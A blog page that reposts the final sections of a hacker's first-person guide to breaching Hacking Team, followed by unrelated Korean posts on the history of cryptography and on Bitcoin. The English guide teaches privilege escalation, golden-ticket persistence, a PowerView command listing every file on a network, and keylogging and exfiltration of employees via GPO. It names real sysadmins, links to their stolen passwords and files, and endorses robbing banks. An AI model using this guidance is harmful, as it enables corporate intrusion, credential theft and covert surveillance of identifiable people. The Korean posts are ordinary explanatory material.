   Admin tickets [3][4][5].

3) Pass the Hash

   If you have a user's hash, but they're not logged in, you can use
   sekurlsa::pth [2] to get a ticket for the user.

4) Process Injection

   Any RAT can inject itself into other processes. For example, the migrate
   command in meterpreter and pupy [6], or the psinject [7] command in
   powershell empire. You can inject into the process that has the token you
   want.

5) runas

   This is sometimes very useful since it doesn't require admin privileges.
   The command is part of windows, but if you don't have a GUI you can use
   powershell [8].

[1] https://www.indetectables.net/viewtopic.php?p=211165
[2] https://adsecurity.org/?page_id=1821
[3] https://github.com/bidord/pykek
[4] https://adsecurity.org/?p=676
[5] http://www.hackplayers.com/2014/12/CVE-2014-6324-como-validarse-con-cualquier-usuario-como-admin.html
[6] https://github.com/n1nj4sec/pupy
[7] http://www.powershellempire.com/?page_id=273
[8] https://github.com/FuzzySecurity/PowerShell-Suite/blob/master/Invoke-Runas.ps1


----[ 13.2 - Persistence ]------------------------------------------------------

Once you have access, you want to keep it. Really, persistence is only a
challenge for assholes like Hacking Team who target activists and other
individuals. To hack companies, persistence isn't needed since companies never
sleep. I always use Duqu 2 style "persistence", executing in RAM on a couple
high-uptime servers. On the off chance that they all reboot at the same time,
I have passwords and a golden ticket [1] as backup access. You can read more
about the different techniques for persistence in windows here [2][3][4]. But
for hacking companies, it's not needed and it increases the risk of detection.

[1] http://blog.cobaltstrike.com/2014/05/14/meterpreter-kiwi-extension-golden-ticket-howto/
[2] http://www.harmj0y.net/blog/empire/nothing-lasts-forever-persistence-with-empire/
[3] http://www.hexacorn.com/blog/category/autostart-persistence/
[4] https://blog.netspi.com/tag/persistence/


----[ 13.3 - Internal reconnaissance ]------------------------------------------

The best tool these days for understanding windows networks is Powerview [1].
It's worth reading everything written by it's author [2], especially [3], [4],
[5], and [6]. Powershell itself is also quite powerful [7]. As there are still
many windows 2000 and 2003 servers without powershell, you also have to learn
the old school [8], with programs like netview.exe [9] or the windows builtin
"net view". Other techniques that I like are:

1) Downloading a list of file names

   With a Domain Admin account, you can download a list of all filenames in
   the network with powerview:

   Invoke-ShareFinderThreaded -ExcludedShares IPC$,PRINT$,ADMIN$ |
   select-string '^(.*) \t-' | %{dir -recurse $_.Matches[0].Groups[1] |
   select fullname | out-file -append files.txt}

   Later, you can read it at your leisure and choose which files to download.

2) Reading email

   As we've already seen, you can download email with powershell, and it has a
   lot of useful information.

3) Reading sharepoint

   It's another place where many businesses store a lot of important
   information. It can also be downloaded with powershell [10].

4) Active Directory [11]

   It has a lot of useful information about users and computers. Without being
   Domain Admin, you can already get a lot of info with powerview and other
   tools [12]. After getting Domain Admin, you should export all the AD
   information with csvde or another tool.

5) Spy on the employees

   One of my favorite hobbies is hunting sysadmins. Spying on Christian Pozzi
   (one of Hacking Team's sysadmins) gave me access to a Nagios server which
   gave me access to the rete sviluppo (development network with the source
   code of RCS). With a simple combination of Get-Keystrokes and
   Get-TimedScreenshot from PowerSploit [13], Do-Exfiltration from nishang
   [14], and GPO, you can spy on any employee, or even on the whole domain.

[1] https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerView
[2] http://www.harmj0y.net/blog/tag/powerview/
[3] http://www.harmj0y.net/blog/powershell/veil-powerview-a-usage-guide/
[4] http://www.harmj0y.net/blog/redteaming/powerview-2-0/
[5] http://www.harmj0y.net/blog/penetesting/i-hunt-sysadmins/
[6] http://www.slideshare.net/harmj0y/i-have-the-powerview
[7] https://adsecurity.org/?p=2535
[8] https://www.youtube.com/watch?v=rpwrKhgMd7E
[9] https://github.com/mubix/netview
[10] https://blogs.msdn.microsoft.com/rcormier/2013/03/30/how-to-perform-bulk-downloads-of-files-in-sharepoint/
[11] https://adsecurity.org/?page_id=41
[12] http://www.darkoperator.com/?tag=Active+Directory
[13] https://github.com/PowerShellMafia/PowerSploit
[14] https://github.com/samratashok/nishang


--[ 14 - Hunting Sysadmins ]----------------------------------------------------

Reading their documentation about their infrastructure [1], I saw that I was
still missing access to something important - the "Rete Sviluppo", an isolated
network with the source code for RCS. The sysadmins of a company always have
access to everything, so I searched the computers of Mauro Romeo and Christian
Pozzi to see how they administer the Sviluppo network, and to see if there
were any other interesting systems I should investigate. It was simple to
access their computers, since they were part of the windows domain where I'd
already gotten admin access. Mauro Romeo's computer didn't have any ports
open, so I opened the port for WMI [2] and executed meterpreter [3]. In
addition to keylogging and screen scraping with Get-Keystrokes and
Get-TimeScreenshot, I used many /gather/ modules from metasploit, CredMan.ps1
[4], and searched for interesting files [5]. Upon seeing that Pozzi had a
Truecrypt volume, I waited until he'd mounted it and then copied off the
files. Many have made fun of Christian Pozzi's weak passwords (and of
Christian Pozzi in general, he provides plenty of material [6][7][8][9]). I
included them in the leak as a false clue, and to laugh at him. The reality is
that mimikatz and keyloggers view all passwords equally.

[1] http://hacking.technology/Hacked%20Team/FileServer/FileServer/Hackingteam/InfrastrutturaIT/
[2] http://www.hammer-software.com/wmigphowto.shtml
[3] https://www.trustedsec.com/june-2015/no_psexec_needed/
[4] https://gallery.technet.microsoft.com/scriptcenter/PowerShell-Credentials-d44c3cde
[5] http://pwnwiki.io/#!presence/windows/find_files.md
[6] http://archive.is/TbaPy
[7] http://hacking.technology/Hacked%20Team/c.pozzi/screenshots/
[8] http://hacking.technology/Hacked%20Team/c.pozzi/Desktop/you.txt
[9] http://hacking.technology/Hacked%20Team/c.pozzi/credentials/


--[ 15 - The bridge ]-----------------------------------------------------------

Within Christian Pozzi's Truecrypt volume, there was a textfile with many
passwords [1]. One of those was for a Fully Automated Nagios server, which had
access to the Sviluppo network in order to monitor it. I'd found the bridge I
needed. The textfile just had the password to the web interface, but there was
a public code execution exploit [2] (it's an unauthenticated exploit, but it
requires that at least one user has a session initiated, for which I used the
password from the textfile).

[1] http://hacking.technology/Hacked%20Team/c.pozzi/Truecrypt%20Volume/Login%20HT.txt
[2] http://seclists.org/fulldisclosure/2014/Oct/78


--[ 16 - Reusing and resetting passwords ]--------------------------------------

Reading the emails, I'd seen Daniele Milan granting access to git repos. I
already had his windows password thanks to mimikatz. I tried it on the git
server and it worked. Then I tried sudo and it worked. For the gitlab server
and their twitter account, I used the "forgot my password" function along with
my access to their mail server to reset the passwords.


--[ 17 - Conclusion ]-----------------------------------------------------------

That's all it takes to take down a company and stop their human rights abuses.
That's the beauty and asymmetry of hacking: with 100 hours of work, one person
can undo years of work by a multi-million dollar company. Hacking gives the
underdog a chance to fight and win.

Hacking guides often end with a disclaimer: this information is for
educational purposes only, be an ethical hacker, don't attack systems you
don't have permission to, etc. I'll say the same, but with a more rebellious
conception of "ethical" hacking. Leaking documents, expropriating money from
banks, and working to secure the computers of ordinary people is ethical
hacking. However, most people that call themselves "ethical hackers" just work
to secure those who pay their high consulting fees, who are often those most
deserving to be hacked.

Hacking Team saw themselves as part of a long line of inspired Italian design
[1]. I see Vincenzetti, his company, his cronies in the police, Carabinieri,
and government, as part of a long tradition of Italian fascism. I'd like to
dedicate this guide to the victims of the raid on the Armando Diaz school, and
to all those who have had their blood spilled by Italian fascists.

[1] https://twitter.com/coracurrier/status/618104723263090688


--[ 18 - Contact ]--------------------------------------------------------------

To send me spear phishing attempts, death threats in Italian [1][2], and to
give me 0days or access inside banks, corporations, governments, etc.

[1] http://andres.delgado.ec/2016/01/15/el-miedo-de-vigilar-a-los-vigilantes/
[2] https://twitter.com/CthulhuSec/status/619459002854977537

only encrypted email please:
https://securityinabox.org/es/thunderbird_usarenigmail
-----BEGIN PGP PUBLIC KEY BLOCK-----

mQENBFVp37MBCACu0rMiDtOtn98NurHUPYyI3Fua+bmF2E7OUihTodv4F/N04KKx
vDZlhKfgeLVSns5oSimBKhv4Z2bzvvc1w/00JH7UTLcZNbt9WGxtLEs+C+jF9j2g
27QIfOJGLFhzYm2GYWIiKr88y95YLJxvrMNmJEDwonTECY68RNaoohjy/TcdWA8x
+fCM4OHxM4AwkqqbaAtqUwAJ3Wxr+Hr/3KV+UNV1lBPlGGVSnV+OA4m8XWaPE73h
VYMVbIkJzOXK9enaXyiGKL8LdOHonz5LaGraRousmiu8JCc6HwLHWJLrkcTI9lP8
Ms3gckaJ30JnPc/qGSaFqvl4pJbx/CK6CwqrABEBAAG0IEhhY2sgQmFjayEgPGhh
Y2tiYWNrQHJpc2V1cC5uZXQ+iQE3BBMBCgAhBQJXAvPFAhsDBQsJCAcDBRUKCQgL
BRYCAwEAAh4BAheAAAoJEDScPRHoqSXQoTwIAI8YFRdTptbyEl6Khk2h8+cr3tac
QdqVNDdp6nbP2rVPW+o3DeTNg0R+87NAlGWPg17VWxsYoa4ZwKHdD/tTNPk0Sldf
cQE+IBfSaO0084d6nvSYTpd6iWBvCgJ1iQQwCq0oTgROzDURvWZ6lwyTZ8XK1KF0
JCloCSnbXB8cCemXnQLZwjGvBVgQyaF49rHYn9+edsudn341oPB+7LK7l8vj5Pys
4eauRd/XzYqxqNzlQ5ea6MZuZZL9PX8eN2obJzGaK4qvxQ31uDh/YiP3MeBzFJX8
X2NYUOYWm3oxiGQohoAn//BVHtk2Xf7hxAY4bbDEQEoDLSPybZEXugzM6gC5AQ0E
VWnfswEIANaqa8fFyiiXYWJVizUsVGbjTTO7WfuNflg4F/q/HQBYfl4ne3edL2Ai
oHOGg0OMNuhNrs56eLRyB/6IjM3TCcfn074HL37eDT0Z9p+rbxPDPFOJAMFYyyjm
n5a6HfmctRzjEXccKFaqlwalhnRP6MRFZGKU6+x1nXbiW8sqGEH0a/VdCR3/CY5F
Pbvmhh894wOzivUlP86TwjWGxLu1kHFo7JDgp8YkRGsXv0mvFav70QXtHllxOAy9
WlBP72gPyiWQ/fSUuoM+WDrMZZ9ETt0j3Uwx0Wo42ZoOXmbAd2jgJXSI9+9e4YUo
jYYjoU4ZuX77iM3+VWW1J1xJujOXJ/sAEQEAAYkBHwQYAQIACQUCVWnfswIbDAAK
CRA0nD0R6Kkl0ArYB/47LnABkz/t6M1PwOFvDN3e2JNgS1QV2YpBdog1hQj6RiEA
OoeQKXTEYaymUwYXadSj7oCFRSyhYRvSMb4GZBa1bo8RxrrTVa0vZk8uA0DB1ZZR
LWvSR7nwcUkZglZCq3Jpmsy1VLjCrMC4hXnFeGi9AX1fh28RYHudh8pecnGKh+Gi
JKp0XtOqGF5NH/Zdgz6t+Z8U++vuwWQaubMJTRdMTGhaRv+jIzKOiO9YtPNamHRq
Mf2vA3oqf22vgWQbK1MOK/4Tp6MGg/VR2SaKAsqyAZC7l5TeoSPN5HdEgA7u5GpB
D0lLGUSkx24yD1sIAGEZ4B57VZNBS0az8HoQeF0k
=E5+y
-----END PGP PUBLIC KEY BLOCK-----



                      If not you, who? If not now, when?
                _   _            _      ____             _    _ 
               | | | | __ _  ___| | __ | __ )  __ _  ___| | _| |
               | |_| |/ _` |/ __| |/ / |  _ \ / _` |/ __| |/ / |
               |  _  | (_| | (__|   <  | |_) | (_| | (__|   <|_|
               |_| |_|\__,_|\___|_|\_\ |____/ \__,_|\___|_|\_(_)

 

 

http://www.boannews.com/media/view.asp?idx=50341

http://pastebin.com/raw/0SNSvyjJ

 Posted by at 11:15 AM

암호의 역사

 IT, 정보보호  Comments Off on 암호의 역사
Jun 122015
 

KISA에 있는 암호의 역사에 관한 다음 페이지에서 내가 저자로 참여한 “훤히 보이는 정보보호”의 내용을 거의 그대로 이용했군요. 내가 쓴 책의 내용이 이렇게 활용되는 것을 보니 매우 반갑습니다. 그런데 출처를 정확히 밝히고 이용하면 좋았을텐데요.

http://seed.kisa.or.kr/iwt/ko/intro/EgovHistory.do

인류의 수천 년 역사 속에서 위대한 왕과 장군들은 모두 효율적인 통신 수단에 의존해 나라를 다스리고 군대를 움직여 왔다 해도 과언이 아니다. 하지만 동시에 지도자들은 이러한 통신 내용이 적의 손에 들어가 귀중한 비밀이 누설되거나 중요한 정보가 들어가지 않을까 늘 우려했다. 그런 의미에서 적이 중요한 정보를 가로챌 수 있다는 위협이야말로 암호를 발시킨 원동력이었다고 할 수 있다. 이렇듯 비밀 보장이 절실히 필요해짐에 따라 각국 정부는 가능한 한 가장 안전한 암호를 만들어 내고, 이를 이용해 통신의 보안성을 확보하는 부서를 운영하게 된다.

이에 맞서 적국에서는 거기에 담긴 비밀을 빼내려는 암호 해독가를 동시에 양성했다. 암호 해독가들은 언어를 재료로 이용하는 연금술사로, 무작위로 모아놓은 듯한 부호에서 의미를 가진 단어를 뽑아내기 위해 일생을 바치는 신비하고도 특별한 분야의 사람들이다. 암호의 역사는 바로 암호를 만드는 사람들과 이를 해독하려는 사람들이 수백 년에 걸쳐 벌여온 전쟁의 역사이다. 지성을 무기로 한 이 군비 경쟁은 때로는 역사에 극적인 영향을 미치며 그 경로를 바꿔놓기도 했다.

암호의 어원은 그리스어의 비밀이란 뜻을 가진 크립토스(Kryptos)로 알려져 있다. 이는 평문을 해독 불가능한 형태로 변형하거나 암호화된 통신문을 원래의 해독 가능한 상태로 변환하기 위한 모든 수학적인 원리, 수단, 방법 등을 취급하는 기술이나 과학을 말한다. 즉, 암호란 중요한 정보를 다른 사람들이 보지 못하도록 하는 방법을 의미한다.

암호 기술의 발전 역사를 구분할 때 흔히 두 번의 큰 전환점을 기준으로 고대 암호, 근대 암호, 현대 암호 등의 세 단계로 나눠진다. 첫 번째 전환점은 1920년대, 1, 2차 세계 대전에서 무선 통신 기술의 발전을 기반으로 여러 가지 기계적, 전자적 암호 장치를 개발하고 사용한 것이었고, 두 번째 전환점은 1970년대 들어 컴퓨터 사용이 활발해지면서 컴퓨터를 이용한 암호 기술이 발전한 것이다.

이러한 전환점을 기준으로 고대로부터 1, 2차 세계 대전 이전가지 사용된 초보적인 암호 기술들을 고대 암호라고 하면, 1970년대까지 복잡한 기계 장치와 전자 장치들을 이용한 암호 기술을 근대 암호, 컴퓨터가 개발된 이후 컴퓨터를 이용하는 암호 기술을 현대 암호라고 부른다.

고대 암호

고대 봉건 사회에서는 황제나 군주가 지방 관리에게 보내는 비밀문서, 전쟁 중의 작전 지시와 보고, 첩자들과의 통신 등 전쟁이나 첩보 시에 정보를 전달해야 하는 경우에 다양한 비밀 통신 기법들이 사용되었다. 예를 들어, 멀리 기밀 정보를 전달해야 하는 경우에는 사자의 머리를 깎고 메시지를 쓴 후 머리를 길러서 보내면 받는 측에서는 사자의 머리를 깎고 메시지를 읽도록 하였다.

또 종이에 쓴 메시지가 그냥 보이지 않지만 불빛에 약품 처리를 하면 메시지가 나타나도록 하는 방법, 비밀 노출을 방지하기 위해 말로 전달하도록 하는 방법 등이 다양하게 사용되었다. 이러한 비밀 통신 방법을 스테가노그래피(Steganography)라고 하는데 적들도 이 통신 방식을 알고 있으면 비밀을 유지하기 어렵다는 한계를 갖고 있다.

스키테일 암호

기원전 400년경 고대 그리스의 군사들은 스키테일 암호라고 불리는 전치 암호(Transposition cipher, 문자의 위치를 서로 바꾸는 암호)를 사용한 기록이 있다. 특정 지름을 갖는 막대에 종이를 감고 평문을 횡으로 쓴 다음 종이를 풀면 평문의 각 문자는 재배치되어 정보를 인식할 수 없게 되는데, 암호문 수신자가 송신자가 사용한 막대와 지름이 같은 막대에 종이를 감고 횡으로 읽으면 평문을 읽을 수 있다. 여기서 막대의 지름은 송신자와 수신자 사이에 공유된 비밀키가 된다.

시저(Caesar) 암호

로마의 황제였던 줄리어스 시저(Julius Caesar)는 시저 암호라고 불리는 환자 암호(substitution cipher, 문자를 다른 문자로 치환하는 암호)를 사용하였다. 시저는 가족과 비밀 통신을 할 때 각 알파벳순으로 세자씩 뒤로 물려 읽는 방법으로 글을 작성했다. 즉 A는 D로, B는 E로 바꿔 읽는 방식이었다. 수신자가 암호문을 복호화하려면 암호문 문자를 좌측으로 3문자씩 당겨서 읽으면 원래의 평문을 얻을 수 있다. 송신자와 수신자는 몇 문자씩 이동할지를 비밀키로 하여 바꿔가면서 사용할 수 있다.

시저는 브루투스에게 암살당하기 전 가족들로부터 다음과 같은 긴급 통신문을 받았다. 시저가 받은 편지에는 ‘EH FDUHIXO IRU DVVDVVLQDWRU’라 되어 있었다. 3글자씩 당겨서 읽어보면 뜻은 ‘BE CAREFUL FOR ASSASSINATOR’, 즉 ‘암살자를 주의하라’는 것이었다. 당시 시저의 권세를 시기했던 일당은 시저를 살해할 암살 음호를 꾸미고 있었으며 시저 자신도 이를 어느 정도 눈치 채고 있었다. 하지만 시저는 구체적으로 암살자가 누구인지 알 수 없었다. 결국 암호문을 전달받은 당일 시저는 원로원에서 전혀 생각지도 못했던 브루투스에게 암살당하면서 “브루투스, 너마저…….”라는 말을 남겼다.

악보 암호

악보 암호는 전설적인 스파이 마타하리(본명은 마그레타 G. 젤러, Margaretha Geertruida Zelle)가 사용했던 방식이다. 마타하리는 일명 ‘첩보원 H21’이란 이름으로 프랑스 장교에 접근해 군사 기밀 정보를 독일에 빼돌렸는데, 이때 비밀 통신에 사용된 암호가 악보였다. 일정한 형태의 음표에 알파벳 하나씩을 대응시킨 형태로 얼핏 보기에 평범한 악보처럼 보이지만, 실제로 연주하면 전혀 ‘음악’이 되지 않는다. 마타하리의 첩보 활동은 20여만 명에 달하는 프랑스군을 죽음으로 몰고 갔다. 그녀는 제 1차 세계 대전이 끝나기 1년 전 프랑스 정보부에 체포돼 사형 당했다.

근대 암호

17세기 근대 수학의 발전과 함께 암호 기술도 발전하기 시작했는데, 프랑스 외교관이었던 Vigenere가 고안한 키워드를 이용한 복수 시저 암호형 방식, Playfair가 만든 2문자 조합 암호 등 다양한 암호 방식으로 발전하였다.

20세기 들어서는 통신 기술의 발전과 기계식 계산기에 대한 연구를 바탕으로 두 차례의 세계 대전을 통해 암호 설계와 해독에 대한 필요성이 높아지면서 암호에 대한 연구가 더욱 활발하게 진행되었다. 근대 암호의 이론적 기초가 된 논문은 1920년 Freidman이 발표한 ‘일치 반복률과 암호 응용’과 1949년 Shannon이 발표한 ‘비밀 시스템의 통신 이론’을 들 수 있다. Shannon은 논문에서 일회성 암호 체계가 안전함을 증명했고, 암호 체계 설계의 두 가지 기본 원칙인 ‘혼돈과 확신 이론’을 제시하였다. 암호 체계를 설계함에 있어 ‘혼돈(Confusion)’은 평문과 암호문 사이의 상관관계를 숨기는 반면, ‘확산(Diffusion)’은 평문의 통계적 성격을 암호문 전반에 확산시켜 숨기는 역할을 한다. 혼돈과 확산이라는 두 가지 개념은 오늘날의 암호 체계 설계에도 여전히 적용되고 있다.

Freidman은 2차 세계 대전 중 독일군이 사용하던 에니그마(Enigma) 암호와 일본군이 사용하던 무라사끼 암호를 해독한 사람으로 유명하다. 에니그마 암호는 각기 다른 몇 개의 암호판을 전기적으로 연결하여 원문을 입력하면 전기적 연결에 의해 새로운 암호문을 출력하는 방식으로 이 기계가 존재하지 않으면 암호를 풀 수 없다.

미드웨이 해전에서의 암호 전쟁

태평양 전쟁 당시 일본의 진주만 공습으로 큰 피해를 입고 전력이 약화됐던 미국은 일본의 그 다음 공격 목표가 어디인지를 알아내야 했다. 1942년 4월, 하와이 주둔 미국 해군 정보부의 암호 해독반 블랙 챔버는 일본군의 무전이 증가하고 있음을 발견했다. 이미 일본 해군의 암호 체계인 JN-25를 해독하고 있던 해독반은 AF라는 문자가 자주 나타난다는 사실에 주목했다. AH는 진주만을 뜻하는 것이었다. 암호 해독반의 지휘관이었던 조셉 로슈포르 중령은 AF를 미드웨이 섬이라고 생각했다. 일본의 정찰기가 ‘AF 근처를 지나고 있다’는 내용의 무선 보고를 해독한 적이 있었던 그는 정찰기의 비행경로를 추정해본 결과 AF가 미드웨이 섬일 것이라는 심증을 갖게 된 것이다.

로슈포르 중령은 체스터 니미츠 제독에게 일본군의 침공이 임박했다는 것과 AF가 자주 언급된다는 점, 그리고 AF가 미드웨이 섬일 것이라는 보고를 한 후, 미드웨이 섬의 담수 시설이 고장 났다는 내용의 가짜 전문을 하와이로 평문 송신하게 하자고 건의했다. 3월에 미드웨이 섬 근처에 일본 해군의 비행정이 정찰 왔던 것을 알고 있던 니미츠 제독은 이 건의를 받아들였다. 사실 미드웨이 섬의 정수 시설은 아무런 문제가 없었다. 이틀 후, 도청된 일본군 암호 중 ‘AF에 물 부족’이라는 내용이 해독되었다. 이로써 일본군의 다음 공격 목표가 미드웨이 섬이라는 것이 분명해진 것이다.

미군은 암호 해독을 통해 일본의 공격 목표가 미드웨이라는 사실을 알아낸 후 전투에 대비하고 반격을 준비하여 일본의 태평양 함대를 격파하고 전쟁을 승리로 이끌 수 있었다.

현대 암호

현대 암호는 1970년대 후반 스탠퍼드 대학과 MIT 대학에서 시작되었다. 1976년 스탠퍼드 대학의 Diffie와 Hellman은 ‘암호의 새로운 방향(New Directions in Cryptography)’이라는 논문에서 처음으로 공개키 암호의 개념을 발표하였다. 종래의 관용 암호 방식 또는 대칭키 암호 방식에서는 암호화키와 복호화키가 동일한 비밀키를 사용하기 때문에 송신자와 수신자는 비밀 통신을 하기 전에 비밀키를 공유하고 있어야 한다. 반면 공개키 암호 방식에서는 하나의 쌍이 되는 공개키와 비밀키를 생성하여 암호화에 사용되는 공개키는 공개하고, 복호화에 사용되는 비밀키는 사용자가 안전하게 보관하도록 한다. 공개키 암호 방식에서는 송신자와 수신자가 사전에 키를 공유할 필요가 없기 때문에 불특정 다수 사용자 간에 사전 준비가 없이도 암호 통신망을 구축하는데 유용하게 사용할 수 있다.

이어 1978년 MIT 대학의 Rivest, Shamir, Adleman은 소인수 분해 문제에 기반을 둔 RSA 공개키 암호를 개발했는데, 이것은 오늘까지도 가장 널리 사용되는 공개키 암호 방식이다. 공개키 암호의 도입은 현대 암호의 발전에 중요한 계기가 되었다.

한편, 1977년 미국 상무성 표준국(NBS, 현 NIST)은 전자계산기 데이터 보호를 위한 암호 알고리즘을 공개 모집하여, IBM 사가 제안한 DES (Data Encryption Standard)를 표준 암호 알고리즘으로 채택했다. DES의 표준화를 계기로 하여 금융 시스템을 중심으로 상업용 암호화의 이용이 증가하게 되었고 컴퓨터 통신망을 이용한 문서 전송, 전자 자금 이체 등이 활성화되었으며 암호 방식이 일반인들에게 알려지고 널리 사용되는 계기가 되었다.

이전의 암호 방식에서는 사용하는 키뿐만 아니라 암호 알고리즘도 비밀로 하여 암호문의 비밀을 지키려고 하는 경우도 있었으나, 현대 암호에서는 암호 알고리즘을 공개하도록 하고 있다. 1883년 Auguste Kerckhoff는 암호 시스템의 안전성에 대해 ‘키 이외에 암호 시스템의 모든 것이 공개되어도 안전해야 한다’고 했는데 이것을 Kerckhoff’s principle이라고 한다. 이렇게 함으로써 암호 방식의 안전성을 공개적으로 검토하게 하여 안전성을 확인하는 것이다.

표준화된 암호와 표준화된 컴퓨팅 기기들을 사용하는 현대 암호에서는 암호 알고리즘을 감추기가 매우 어렵다. 또한 암호 알고리즘을 감춘다고 해서 암호의 보안성이 높아지는 것도 아니다. 비밀로 다루어진 암호 알고리즘이 일단 공개되고 나면 그 안전성에 문제가 발견되는 사례가 많다. 그러므로 암호 분야에서는 어떤 암호 알고리즘이 많은 암호 학자들에 의해 장기간 세부적으로 수행된 분석에서도 잘 견디어 낼 때까지는 그 알고리즘을 안전하다고 인정하지 않는다. 즉, 암호 체계는 ‘무죄가 증명될 때까지는 유죄’이다.

 

 Posted by at 5:28 PM

비트코인

 IT, 정보보호  Comments Off on 비트코인
Apr 052014
 

비트코인, 우리가 은행이다 (We are a Bank in Bitcoin) February 22, 2014
<이전 포스트: 연결이 지배하는 세상, 화폐의 필연적 진화>
http://organicmedialab.com/2014/02/22/we-are-a-bank-in-bitcoin/ 

지난 포스트에서는 오가닉 미디어 세상에서 왜 새로운 화폐 시스템이 출현할 수밖에 없는지 논의했다. 이번에는 시대가 요구하는 대안으로 비트코인을 다룰 것이다. 비트코인은 아직 검증되지 않았다. 그러나 이 글에서 비트코인은 답이 아니라 ‘현상’이니 안심하기 바란다. 연결이 지배하는 세상에서 화폐(거래시스템)가 진화하는 방향을 짚고 그 흐름을 해석하는 것이 목적이다.

처음에는 네트워크 현상을 연구하는 사람으로서 비트코인이 신기하고 반가웠다. 어떻게 이렇게 오가닉 미디어 현상을 한몸에 설명하는 시스템이 있는지 놀라웠고 한번은 정리해야겠다고 결심했던 것이다. 그런데 마음처럼 쉽지가 않았다. 내용을 파면 팔수록 미궁에 빠졌고 모든 이슈는 서로 네트워크로 얽혀 있었으며 구조는 상상을 초월하게 정교했다. 이런 과정에서 도출한 하나의 사실은, 비트코인은 이전 화폐 시스템과의 완전한 결별이며, 그 자체가 ‘유기체’라는 것이다. 무슨 의미인지 지금부터 3가지 관점에서 알아보도록 하겠다.

첫째, 비트코인에서 화폐가 노드가 아닌 ‘링크’가 되는 현상(여기서 문제의 핵심이 시작된다) 을 알아본다. 둘째, 거래가 단발적인 1:1 관계가 아니라 왜 ‘연결’의 연속인지(여기서 네트워크 기반이 정립된다) 살펴볼 것이다. 세째, 이런 네트워크에서 우리들 각자가 어떻게 협력하여 은행이 될 수 있는지(여기서 자생적 네트워크가 발전한다) 설명하고 시사점을 정리하도록 하겠다.

1. 비트코인은 노드가 아닌 링크다(Bitcoin as a Link)
백원, 천원 하는 돈이 링크라니 이 무슨 어처구니 없는 말인가? 돈은 받아서 손에 쥐고 주머니에 넣고 하는 것인데, 그게 네트워크의 링크라니 말이 되는가? 납득이 어렵겠지만 그렇다. 비트코인에서는 코인이 (노드가 아닌) 링크가 됨에 따라 기존의 화폐 시스템과 근본적인 차이가 생긴다. 이것은 조개에서 금으로, 금에서 종이, 종이에서 데이터로 화폐를 상징하는 컨테이너가 바뀌는 것이 아니다. 화폐의 개념 자체가 바뀌는 근본적인 문제의 시작이다.

비트코인은 항상 송신자와 수신자 관계를 내포하며, 비트코인을 보낸다(지불한다)는 것은 신규의 비트코인을 2번 발행(To 수신자, To 나)하는 것과 같다. 비트코인은 From과 To를 내포하는 ‘링크’인 것이다.
비트코인은 항상 송신자와 수신자 관계를 내포하며, 비트코인을 보낸다(지불한다)는 것은 신규의 비트코인을 2번 발행(To 수신자, To 나)하는 것과 같다. 비트코인은 From과 To를 내포하는 ‘링크’인 것이다.

비트코인 거래에서는 코인과 거래가 1:1로 매핑이 된다. 즉 거래횟수만큼 비트코인이 새로 생성되는데, 비트코인 거래를 할 때마다 여러분이 코인을 발행한다고 생각할 수 있다. 위의 스키마를 보면서 하나씩 살펴보자.

내가 1비트코인을 가지고 있는데 판매자에게 0.7비트코인을 지불하는 경우이다. 보통은 내가 가진 만원에서 7천원 내고 3천원을 거스름돈으로 받는 것을 떠올릴 것이고 왜 새로운 비트코인의 발행이라고 하는지 이해가 안 갈 것이다. 그런데 비트코인에서는 이 거래를 완료하기 위해 두개의 코인이 새로 만들어지는 구조로 되어 있다. 하나는 내가 판매자에게 보내는 액면 0.7 비트코인(BTC) 코인이다. 다른 하나는 내가 나에게 보내는 액면 0.3BTC 코인이다. (이 거래가 이뤄지면 내가 가지고 있던 1 비트코인(BTC) 코인은 폐기된다.)

이때 0.7비트코인은 누가 보냈고 어디로 갔는지 즉 수신자와 송신자 관계를 반드시 내포하게 되어 있다(편지나 부동산 등기를 떠올리면 된다). 그러므로 비트코인에서는 금액이 같다고 해도 같은 코인이 아니다. 설령 내가 친구에게서 0.7비트코인을 받아 판매자에게 0.7비트코인을 보낸다고 해도 이 둘은 다른 코인이 되는 것이다(From 친구 To 나 ≠ From 나 To 판매자). 송수신 관계 없이는 코인 자체가 존재할 수 없다는 말이기도 하다.

이에 따라 코인은 ”(보내는) 비트코인 주소와 (받는) 비트코인 주소를 연결하는 (가중치를 가진) 링크”라고 정의될 수 있다. 코인이 링크가 되는 순간 화폐구조는 근본적으로 변화한다. 지금부터 설명하는 거래의 투명성, 거래 중재의 분권화, 시스템의 유기적 진화를 가능하게 하는 출발점이기 때문이다.

2. 비트코인은 비트코인의 연결이다(Bitcoin as a Network)
비트코인이 링크라는 것도 충격적인데 비트코인이 비트코인의 연결이라는 것은 또 무슨 말인가? 이 이야기를 이해하려면 비트코인의 정의를 환기할 필요가 있다.

비트코인의 창시자 사토시 나카모토는 “비트코인은 코인 소유주의 디지털 서명의 연결(chain of digital signature)”이라고 정의하였다[Sathoshi Nakamoto, “Bitcoin: A Peer-to-Peer Electronic Cash System,” 2008]. 디지털 서명이란 공개키 암호화를 기반으로 문서의 송신자(그리고 문서의 진위 여부)를 확인하는 방법으로(자세한 내용은 비트코인의 주소, 거래, 그리고 지갑을 참조), 비트코인 맥락에서는 비트코인을 보낸 사람(from)을 확인하는 방법이다. 그러므로 비트코인 거래란, 보내는 사람(from)이 자신의 코인에 받는 사람의 주소(to)와 발행금액을 더하고, 여기에 보내는 사람이 디지털 서명함으로써 만들어지는 것이다(단순화를 위해 해시 과정은 생략한다). 받은 사람은 디지털 서명을 확인하여 코인의 진위 여부를 판단한다.

다음 그림은 이러한 과정이 반복되는 상황을 보여준다(이해를 돕기위해 1개의 코인으로 1개의 새로운 코인을 생성하는 경우를 나타냈다. 실제로는 2개 이상의 코인으로 2개의 새로운 코인을 생성하는 경우도 많다).

비트코인은 디지털서명의 연결이다. ‘From과 To’의 관계를 반드시 포함하고 있는 (그 자체로) 링크이며 ‘과거의 거래’ 또한 포함하고 있는 네트워크이다.
비트코인은 디지털서명의 연결이다. 내가 받은 비트코인은 이전 사람(그림에서는 내 친구)이 받은 비트코인에 이전 사람의 디지털서명이 더해진 덩어리이다. 내가 제3자(그림에서는 판매자)에게 코인을 지불할 때도 내 서명이 더해지는데, 이 디지털 서명들의 기록이 모두 누적된 상태로 거래가 계속 이뤄지는 것이다.

